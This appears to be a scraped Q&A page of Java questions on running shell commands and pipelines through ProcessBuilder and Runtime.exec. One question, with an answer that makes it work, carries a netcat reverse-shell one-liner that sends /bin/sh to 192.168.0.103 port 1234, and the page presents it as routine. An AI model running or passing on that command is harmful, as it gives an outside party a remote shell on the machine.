Check if a linux command outputs an empty string - java

I want to check if a port is being used or not. I've used the command: netstat -an | grep <port_no> | grep -i listen. When I compare its output by running, if(message_port_check.equals(null)), it always returns null. How do I know if the port is open or not ?
This is what I've tried,
String port_no = textField_3.getText().toString();
String[] command_port = {
"/bin/sh",
"-c",
"netstat -an | grep " + port_no + " | grep -i listen"
};
try {
ProcessBuilder builder = new ProcessBuilder(command_port);
builder.redirectErrorStream(true);
Process p = builder.start();
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
StringBuffer buffer = new StringBuffer();
String line = "";
while (true)
{
buffer.append(line).append("\n");
line = r.readLine();
if (line == null) { break; }
}
message_port= buffer.toString();
p.waitFor();
r.close();
}
catch (IOException e1)
{
e1.printStackTrace();
}
catch (InterruptedException e1)
{
e1.printStackTrace();
}
if(message_port_check.equals(null))
rdbtn_port_free.setSelected(true);
else
rdbtn_port_notfree.setSelected(true);

I'd use -z test:
$ output=$(netstat -an | grep your_port | grep -i listen)
$ if [ -z "$output" ] ; then echo empty ; fi
empty

You could use nc instead as shown in this reply. Then you just need to check the return value.
Of course in Java, the solution in the platform-independent spirit would be to try to connect/bind to the port using the standard library instead of relying on external Linux binaries. Some variants are shown here.

Related

how to execute command "ps -eaf | grep myprocess" in java

I googled and checked the SO if there is any code to find PID of any other process.
There is a solution to create a shell script with the command "ps -eaf | grep myprocess" in it and executing that script from java.
But I want to execute using java ProcessBuilder or Runtime methods. Below is the code that I have tried which is not giving me null as output.
import java.io.*;
public class TestShellCommand {
public static void main(String args[]) {
Process p = null;
String command = "ps -ef | grep myProcess";
try {
// p = new ProcessBuilder(command).start();
p = Runtime.getRuntime().exec(command);
BufferedReader br[] = new BufferedReader[2];
br[1] = new BufferedReader(new InputStreamReader(p.getErrorStream()));
br[0] = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
if(br[0].readLine() == null){
System.out.println("The input stream is null.");
}
while ((line = br[0].readLine()) != null) {
System.out.println(line);
}
try {
br[0].close();
} catch (Exception a) {
a.printStackTrace();
}
try {
br[1].close();
} catch (Exception a) {
a.printStackTrace();
}
} catch (Exception grrr) {
grrr.printStackTrace();
} finally {
try {
closeStreams(p);
p.destroy();
} catch (Exception r) {
r.printStackTrace();
}
}
}
static void closeStreams(Process p) throws IOException {
p.getInputStream().close();
p.getOutputStream().close();
p.getErrorStream().close();
}
}
The output for the command is :
java TestShellCommand
The input stream is null.
{sdc#ip-172-31-32-49}[26] echo $?
0
Please let me know if there is any error in my code as when I search manually from shell i do get the expected output as below:
ps -ef | grep myProcess
root 7433 1 0 10:33 ? 00:00:00 myProcess hello
sdc 19894 14130 0 11:24 pts/7 00:00:00 grep myProcess
[UPDATED CODE - Without the grep command]
import java.io.*;
public class TestShellCommand {
public static void main(String args[]) {
Process p = null;
String [] command = {"ps", "-eaf"};
try {
p = Runtime.getRuntime().exec(command);
BufferedReader br[] = new BufferedReader[2];
br[1] = new BufferedReader(new InputStreamReader(p.getErrorStream()));
br[0] = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line = null;
if(br[0].readLine() == null){
System.out.println("The input stream is null.");
}
while ((line = br[0].readLine()) != null) {
System.out.println(line);
}
// Then code to find by process name by using string methods ...
try {
br[0].close();
} catch (Exception a) {
a.printStackTrace();
}
try {
br[1].close();
} catch (Exception a) {
a.printStackTrace();
}
} catch (Exception grrr) {
grrr.printStackTrace();
} finally {
try {
closeStreams(p);
p.destroy();
} catch (Exception r) {
r.printStackTrace();
}
}
}
static void closeStreams(Process p) throws IOException {
p.getInputStream().close();
p.getOutputStream().close();
p.getErrorStream().close();
}
}
I have added the code that is working, when I am passing command as:
new String[]{"/bin/sh","-c", "ps -eaf | grep "+ "myProcess" +" | grep -v grep"} - Empty response.
new String[] {"ps", "-eaf", "grep -m 1 myProcess", "awk -F ' ' '{print $2}' "} - Empty response.
Thanks in advance for any leads.
As #Slimo answer indicates you must launch a shell to execute a shell command (the pipe), and read the error stream to determine what may have gone wrong.
Launching subprocess without using waitFor() or consuming stdout and stderr at SAME time can lead to issues, use file redirect or as in this example merge stderr -> stdout and read one stream only:
String procname = "myProcess";
String[] cmd = new String[]{"bash","-c", "ps -eaf | grep "+procname+" | grep -v grep"}
ProcessBuilder pb = new ProcessBuilder(cmd);
pb.redirectErrorStream(true);
Process process = pb.start();
process.getInputStream().transferTo(System.out);
int rc = process.waitFor();
if (rc != 0)
throw new RuntimeException("Failed rc="+rc+" cmd="+Arrays.toString(cmd));
In later JDK you don't need ProcessBuilder, you may find all the process attributes in the data-structures returned by ProcessHandle:
ProcessHandle.allProcesses()
.filter(ph -> ph.info().command().isPresent() && ph.info().command().get().contains(procname))
.forEach(ph -> System.out.println("PID: "+ph.pid()+" command: "+ph.info().command()))
Your problem is that you are trying to use the pipe in your command, so you need a shell to execute it. You can use the following command:
p = new ProcessBuilder("/bin/sh", "-c", "ps -aux | grep myProcess").start();
You can read more here: Using Java ProcessBuilder to Execute a Piped Command
To test it, I started top in a shell and run the command with it as the grep pattern. Here is the output I got:
<edited> 139890 0.4 0.0 23640 4376 pts/0 S+ 16:05 0:00 top
<edited> 139945 0.0 0.0 20996 3448 ? S 16:06 0:00 /bin/bash -c ps -aux | grep top
<edited> 139947 0.0 0.0 20536 2776 ? S 16:06 0:00 grep top
Based on your comment, I suggest you first run the commands in a shell to see the output and check to see if it matches that from the Java program. I guess myProcess is only a placeholder for the actual process to check.
One thing which I noticed is that when running htop from a snap, and using the above code to grep after htop will return answers like in your comment, but grepping by top will include the actual process. I also checked with gedit and it looks like grep with gedit returns like in your case, but using only edit will return the actual process. Not sure what is the problem in this case.

StringBuilder output is empty executing linux echo command

I'm trying to execute in java this command, and I need to get the output
in a java String. The command encrypt plain text with a password phrase and return the plain text encrypted.
The command is:
/bin/sh -c echo "textToEncrypt" | /usr/bin/openssl enc -aes-256-cbc -e -base64 -A -pass pass:passwordPhrase
Screenshot:
I do the following:
I can run the command in the linux shell , and I get an encrypted output string in the shell, like: "U2FsdGVkX1/1UcPzhX7IGgvXdx9YrS+cizrla8UYhU8=", so the command works.
I can run the same command in java 1.7, like the example code below (cryptData method). It runs fine, but I dont get an output (the encrypted data).
I can run any command without "echo" from java, for example, ("ls -fla | more"). Run fine again and I always get the output.
This is the code:
public void cryptData() {
String passwordPhrase="a1b2c3d4e5";
ProcessBuilder processBuilder = new ProcessBuilder();
List<String> commands = new ArrayList<String>();
commands.add("/bin/sh");
commands.add("-c");
commands.add("echo");
commands.add("/"textToCrypt/"");
commands.add("|");
commands.add("/usr/bin/openssl");
commands.add("-aes-256-cbc");
commands.add("-e");
commands.add("-base64");
commands.add("-A");
commands.add("-pass");
commands.add("pass:"+passwordPhrase);
// Run the shell command
processBuilder.command(commands);
try { //standard stringBuilder process
Process process = processBuilder.start();
StringBuilder output = new StringBuilder();
BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line + "\n");
}
int exitVal = process.waitFor();
if (exitVal == 0) {
System.out.println("Success!");
System.out.println("Output1"+ output);
System.out.println("Output2"+ output.toString());
System.exit(0);
} else {
System.out.println("Error");
}
} catch (IOException e) {
e.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
The final result is always: "Success!" but the output is empty or null with this code. What am I doing wrong?
sh -c expects the command to be executed as a single argument. So after adding /bin/sh and -c, you should add the rest of the command as a single argument, like this:
commands.add("/bin/sh");
commands.add("-c");
commands.add("echo /" + textToCrypt + "/ | /usr/bin/openssl -aes-256-cbc " +
"-e -base64 -A -pass pass: " + passwordPhrase);

Java api Process execute machine command

use java api Process exceute machine command:
BufferedReader read = null;
Process process = null;
StringBuffer sb = new StringBuffer();
try {
process = new ProcessBuilder(new String[]{"/bin/bash", "-c", command}).start();
//stderr
printExecStdErr(command, process);
//stdout
read = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line = "";
int lineNumber = 1;
while ((line = read.readLine()) != null) {
if (lineNumber++ > 1) {
sb.append(System.lineSeparator());
}
sb.append(line);
}
String result=sb.toString();
logger.info("excute command:{} result:{}",command,result);
try {
boolean success = process.waitFor(3000, TimeUnit.MILLISECONDS);
if (!success){
logger.warn("execute command:{} waitFor 3 seconds,timeout!");
return "";
}
} catch (InterruptedException e) {
logger.error("execute command:{} interrupted exception!");
}
logger.info("excute command:{} success",command);
return result;
} catch (IOException e) {
logger.error("execute command:{} error:{}",command,e.getMessage(),e);
} finally {
if (null != read) {
try {
read.close();
} catch (IOException e) {
}
}
if (process != null){
process.destroy();
}
}
this is the log,execute command:bin/ps -ef | grep -w 6005 | grep
-v grep,but sometimes the result is empty
execute command:/bin/ps -ef | grep -w 6005 | grep -v grep
INFO printExecStdErr,command:/bin/ps -ef | grep -w 6005 | grep
-v grep
INFO excute command:/bin/ps -ef | grep -w 6005 | grep -v grep
result:
excute command:/bin/ps -ef | grep -w 6006 | grep -v grep success
the majority of the result is:
excute command:/bin/ps -ef | grep -w 26006 | grep -v grep
result:work 24643 1 0 17:39 ? 00:00:00 /opt/soft/redis28/bin/redis-server *:26006
so how this happens? I used process.waitFor(3000, TimeUnit.MILLISECONDS),but it's useless.

java Runtime.getRuntime().exec() unable to run commands

I need to run the following command from inside the Runtime.getRuntime().exec():
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
In what format should I pass it to my running java program that has the line :
Process localProcess = Runtime.getRuntime().exec(myStr);
where myStr is the entire command above that I want to execute ?
Things I have already tried :
[\"/bin/bash\",\"-c\",\"rm /tmp/backpipe;/usr/bin/mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe\"] as String[]"
gives me the error :
Cannot run program "["/bin/bash","-c","/usr/bin/mkfifo": error=2, No such file or directory
If I simply run the command from my terminal as :
rm /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe
It runs like a charm, but not through the runtime.exec().
Try to use ProcessBuilder instead of Runtime.
Try this one:
Process p = new ProcessBuilder().command("bash","-c",cmd).start();
cmd is the variable which holds your shell command.
Update:
String[] cmd = {"bash","-c", "rm -f /tmp/backpipe; mkfifo /tmp/backpipe && /bin/sh 0</tmp/backpipe | nc 192.168.0.103 1234 1>/tmp/backpipe"}; // type last element your command
Process p = Runtime.getRuntime().exec(cmd);
Here is working Java code that illustrates few more aspects of calling Runtime.getRuntime().exec() like waiting for the process to complete and capturing the output and error streams:
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.BufferedReader;
class Test {
public static void dump(InputStream is) {
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
String line;
try {
while ((line = reader.readLine()) != null) {
System.out.println(line);
}
} catch (Exception e) {
System.out.println("read line threw exception");
}
}
public static void run(String cmd) {
try {
Process p = Runtime.getRuntime().exec(cmd);
p.waitFor();
int status = p.exitValue();
System.out.println("Program terminated with exit status " + status);
if (status != 0) {
dump(p.getErrorStream());
}
else {
dump(p.getInputStream());
}
} catch (Exception e) {
System.out.println("Caught exception");
}
}
};

Run netstat linux command from JAVA with grep

I want to run netstat -an | grep 12345 and retrieve the output to find out if a port is empty and ready to use. I have tried
TRY1:
System.out.println("RUNNING ==> "+command);
try
{
Process process = Runtime.getRuntime().exec("netstat -an | grep 4324");
InputStream in = process.getInputStream();
File tmp = File.createTempFile("allConnections","txt");
byte[] buf = new byte[256];
OutputStream outputConnectionsToFile = new FileOutputStream(tmp);
int numbytes = 0;
while ((numbytes = in.read(buf, 0, 256)) != -1)
{
outputConnectionsToFile.write(buf, 0, numbytes);
}
System.out.println("File is present at "+tmp.getAbsolutePath());
}
catch (Exception e)
{
e.printStackTrace(System.err);
}
i see 12k results, like i was doing netstat -an without grep
TRY2:
public static ArrayList<String> exec_command_dont_wait(String command) throws IOException, InterruptedException
{
//String[] arrayExplodedArguments = command.split(" ");
ArrayList<String> returnHolder = new ArrayList<String>();
List<String> listCommands = new ArrayList<String>();
String[] arrayExplodedCommands = command.split(" ");
for(String element : arrayExplodedCommands)
{
listCommands.add(element);
System.out.println(element+"\n");
}
System.exit(0);
ProcessBuilder ps = new ProcessBuilder(listCommands);
ps.redirectErrorStream(true);
Process p = ps.start();
BufferedReader buffer = new BufferedReader(new InputStreamReader(p.getInputStream()));
//p.waitFor();
String line = new String();
while((line = buffer.readLine()) != null)
{
returnHolder.add(line);
//System.out.println(line);
}
return returnHolder;
}
i see 12k results, like i was doing netstat -an without grep , never to mention that i have to comment //p.waitFor(); and i don't know why.
How do i a simple netstat command with grep and retrieve the results?
Is there a simple command/function like in PHP and retrieve the results? Like 'exec()', really love that function.
What is the differance between running with p.waitFor() and without it. I mean i understand that JAVA waits for the process to finsish, but netstat seems to never finish, i waited 2 minutes. A simple curl finishes quicly.
Example
netstat -an | grep 4352
tcp 0 0 192.99.3.11:43529 118.32.42.29:22 ESTABLISHED
tcp 0 0 192.99.3.11:43522 15.139.118.57:22 ESTABLISHED
tcp 0 0 192.99.3.11:43521 116.322.199.10:22 ESTABLISHED
Thank you.

Categories